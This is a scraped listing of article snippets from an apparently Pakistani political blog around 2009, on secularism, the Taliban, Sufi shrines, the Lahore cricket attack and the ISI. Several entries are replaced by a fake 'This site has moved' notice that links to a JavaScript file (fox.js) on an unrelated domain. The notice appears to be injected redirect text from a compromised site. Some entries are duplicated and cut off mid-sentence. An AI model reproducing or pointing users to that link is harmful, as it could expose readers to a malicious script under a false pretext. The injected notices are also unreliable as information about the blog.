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Pakistan’s left towards rights. Partners in crime?: Are Pakistan’s secular ideologues abetting the right wing in adding lies and confusion to Jinnah’s Pakistan?: aik taraf sachal aur bahoo, aik taraf mullah aur maslak aik taraf thay heer aur ranjha, aik taraf qazi aur choochak saari duniya
Pakistan’s left tilts towards right: Partners in crime? Deconstructing Tariq Ali and Atitzaz Ahsan: Related articles: Aitzaz Ahsan, PPP and Long March: A critical perspective – by Abbas Ather You too Aitzaz Ahsan, the leader of the legal community? PPP suspends Ch Aitzaz as member CEC Are Pakistan’s secular ideologues abetting the right
Ahmed Rashid: A dangerous void in Pakistan. The Taliban are unlikely to stop with Swat.: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
A dangerous void in Pakistan. The Taliban are unlikely to stop with Swat. – by Ahmed Rashid: A dangerous void in Pakistan —Ahmed Rashid The crisis in Pakistan leaves the US with few policy options. Large injections of cash are desperately needed to give the government the time to re-establish the writ of the state and
Tahir Sarwar Mir: Sharif Brothers and their principled struggle for revolution: Nila Gumbad loves Anarkali Shahbaz Sharif’s revolutionary style and the pledge to change his name (to what?) unless…. Parda hai parda – Amar Akbar Anthony (1977) Some relevant comments: MalangBaba said: Reconciliation can only happen if both sides are
Tahir Sarwar Mir: Sharif Brothers and their principled struggle for revolution: Nila Gumbad loves Anarkali Shahbaz Sharif’s revolutionary style and the pledge to change his name (to what?) unless…. Parda hai parda – Amar Akbar Anthony (1977) Some relevant comments: MalangBaba said: Reconciliation can only happen if both sides are
Aakar Patel: Let’s sing Iqbal’s Tarana-e-Hind-o-Pak to fight religous extremism in our society. Indo-Persian sufi heritage versus Taliban’s sharia.: Mr Zardari, tear down this wallSunday, March 08, 2009Aakar Patel Allama Iqbal imagined Pakistan as a utopia in northwest India where Punjabis would do ijtihad and read Nietzsche. The Quaid-e-Azam ordered a Pakistan where religion would cease to be
Let’s sing Iqbal’s Tarana-e-Hind-o-Pak to fight religous extremism – by Aakar Patel: Mr Zardari, tear down this wall Sunday, March 08, 2009 Aakar Patel Allama Iqbal imagined Pakistan as a utopia in northwest India where Punjabis would do ijtihad and read Nietzsche. The Quaid-e-Azam ordered a Pakistan where religion would cease
Eid Milad-un-Nabi Mubarak. Mawlid celebrations…: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Eid Milad-un-Nabi Mubarak: Mawlid celebrations: Eid Milad-un-Nabi / Mawlid Mubarak Mawlid (Eid Milad an Nabi) (also knonwn as Mawlid or Mevlid) is a term
Zikr-e-Shahab: Remembering Qudrat Ullah Shahab: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/26595, click this link if you are not redirected
Attack on Rehman Baba is attack on Pashtun identity: Bombing shrine Saturday, 07 Mar, 2009 (Dawn) Pakistani worshipers gather next to the mausoleum of Sufi poet Rehman Baba, after an explosion that damaged one corner of the shrine, in PeshawarAP Photo/Mohammad Sajjad THURSDAY’S bombing in Peshawar was not
Lahore terror attack and our misguided patriotism: Pakistani militants seen most likely behind attack Saturday, 07 Mar, 2009 (Dawn) A government official said groups such as the LeJ were highest on the list of suspects.—AFP ISLAMABAD: An investigation into the attack on Sri Lanka’s cricket team
Shireen Mazari: Jinnah, democracy, shariah and our lies…: Dr SHIREEN M MAZARI examines the difference in what we pratice and what we preach.
Khaled Ahmed: How blameless is the ISI?: Source: The Friday Times , Pakistan | Khaled Ahmed General (Retd) Javed Ashraf Qazi is counted among the rare competent heads of the ISI. His tenure, beginning 1993, was professional and non-idiosyncratic. He had to clear up the mess
Can Sufi Islam counter the Taleban?: Sufi Islam versus the Taliban’s Wahhabi/Salafi and Deobandi Islam …. Can Sufi Islam counter the Taleban? Some believe that Pakistan’s mystic, non-violent Islam can be used as a defence against extremism (Photos: Kamil Dayan Khan) By Barbara Plett BBC
Mohammaed Hanif: Ten myths about Pakistan: Living in Pakistan and reading about it in the Indian press can sometimes be quite a disorienting experience: one wonders what place on earth they’re talking about? I wouldn’t be surprised if an Indian reader going through Pakistani papers
Lahore terror attack: Lashkar-e-Jhangavi and allied sectarian/jihadi groups involved: From a state of denial to accepting ownership? Ayesha Ijaz Khan writes in The News (6 March 2009): While Pakistanis are not completely out of line if they have concerns about India’s hegemonic designs and regional threats to their
ICC Match Referee Chris Broad ‘angry’ over lack of security in Pakistan: ICC Match Referee Chris Broad has arrived back in England and speaking at a news conference in Manchester, he spoke of his shock, sadness and anger following the terrorist attacks that he was caught up in Lahore. He went